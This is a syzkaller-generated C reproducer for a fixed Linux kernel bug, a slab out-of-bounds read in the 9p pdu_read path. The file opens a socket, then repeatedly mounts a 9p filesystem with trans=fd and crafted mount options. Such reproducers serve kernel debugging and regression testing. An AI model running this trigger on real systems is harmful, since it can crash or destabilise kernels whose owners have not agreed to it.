| // KASAN: slab-out-of-bounds Read in pdu_read |
| // https://syzkaller.appspot.com/bug?id=2a622455acd7051c6cf85c360cd116118a587726 |
| // status:fixed |
| // autogenerated by syzkaller (http://github.com/google/syzkaller) |
| |
| #define _GNU_SOURCE |
| #include <endian.h> |
| #include <stdint.h> |
| #include <stdio.h> |
| #include <string.h> |
| #include <sys/syscall.h> |
| #include <unistd.h> |
| |
| static void execute_one(); |
| extern unsigned long long procid; |
| |
| void loop() |
| { |
| while (1) { |
| execute_one(); |
| } |
| } |
| |
| uint64_t r[2] = {0xffffffffffffffff, 0xffffffffffffffff}; |
| void execute_one() |
| { |
| long res = 0; |
| res = syscall(__NR_socket, 0xa, 2, 0); |
| if (res != -1) |
| r[0] = res; |
| *(uint64_t*)0x200001c0 = 0x20000000; |
| *(uint16_t*)0x20000000 = 0xa; |
| *(uint16_t*)0x20000002 = htobe16(0x4e23); |
| *(uint8_t*)0x20000004 = 0xac; |
| *(uint8_t*)0x20000005 = 0x14; |
| *(uint8_t*)0x20000006 = 0x14; |
| *(uint8_t*)0x20000007 = 0xbb; |
| *(uint8_t*)0x20000008 = 0; |
| *(uint8_t*)0x20000009 = 0; |
| *(uint8_t*)0x2000000a = 0; |
| *(uint8_t*)0x2000000b = 0; |
| *(uint8_t*)0x2000000c = 0; |
| *(uint8_t*)0x2000000d = 0; |
| *(uint8_t*)0x2000000e = 0; |
| *(uint8_t*)0x2000000f = 0; |
| *(uint32_t*)0x200001c8 = 0x80; |
| *(uint64_t*)0x200001d0 = 0x20000080; |
| *(uint64_t*)0x200001d8 = 0; |
| *(uint64_t*)0x200001e0 = 0x20000340; |
| *(uint64_t*)0x200001e8 = 0; |
| *(uint32_t*)0x200001f0 = 0; |
| syscall(__NR_sendmsg, r[0], 0x200001c0, 0xfc00); |
| memcpy((void*)0x20000180, "./file0", 8); |
| res = syscall(__NR_open, 0x20000180, 0x40, 0x40); |
| if (res != -1) |
| r[1] = res; |
| memcpy((void*)0x20000100, "./file0", 8); |
| memcpy((void*)0x20000140, "9p", 3); |
| memcpy((void*)0x20000280, "trans=fd,", 9); |
| memcpy((void*)0x20000289, "rfdno", 5); |
| *(uint8_t*)0x2000028e = 0x3d; |
| sprintf((char*)0x2000028f, "0x%016llx", (long long)r[1]); |
| *(uint8_t*)0x200002a1 = 0x2c; |
| memcpy((void*)0x200002a2, "wfdno", 5); |
| *(uint8_t*)0x200002a7 = 0x3d; |
| sprintf((char*)0x200002a8, "0x%016llx", (long long)r[0]); |
| *(uint8_t*)0x200002ba = 0x2c; |
| memcpy((void*)0x200002bb, "aname", 5); |
| *(uint8_t*)0x200002c0 = 0x3d; |
| memcpy((void*)0x200002c1, "(ppp0GPLppp0posix_acl_accessposix_acl_access", 44); |
| *(uint8_t*)0x200002ed = 0x2c; |
| memcpy((void*)0x200002ee, "access=client", 13); |
| *(uint8_t*)0x200002fb = 0x2c; |
| memcpy((void*)0x200002fc, "version=9p2000", 14); |
| *(uint8_t*)0x2000030a = 0x2c; |
| memcpy((void*)0x2000030b, "cache=fscache", 13); |
| *(uint8_t*)0x20000318 = 0x2c; |
| memcpy((void*)0x20000319, "version=9p2000.L", 16); |
| *(uint8_t*)0x20000329 = 0x2c; |
| *(uint8_t*)0x2000032a = 0; |
| syscall(__NR_mount, 0, 0x20000100, 0x20000140, 0x10000, 0x20000280); |
| } |
| |
| int main() |
| { |
| syscall(__NR_mmap, 0x20000000, 0x1000000, 3, 0x32, -1, 0); |
| for (;;) { |
| loop(); |
| } |
| } |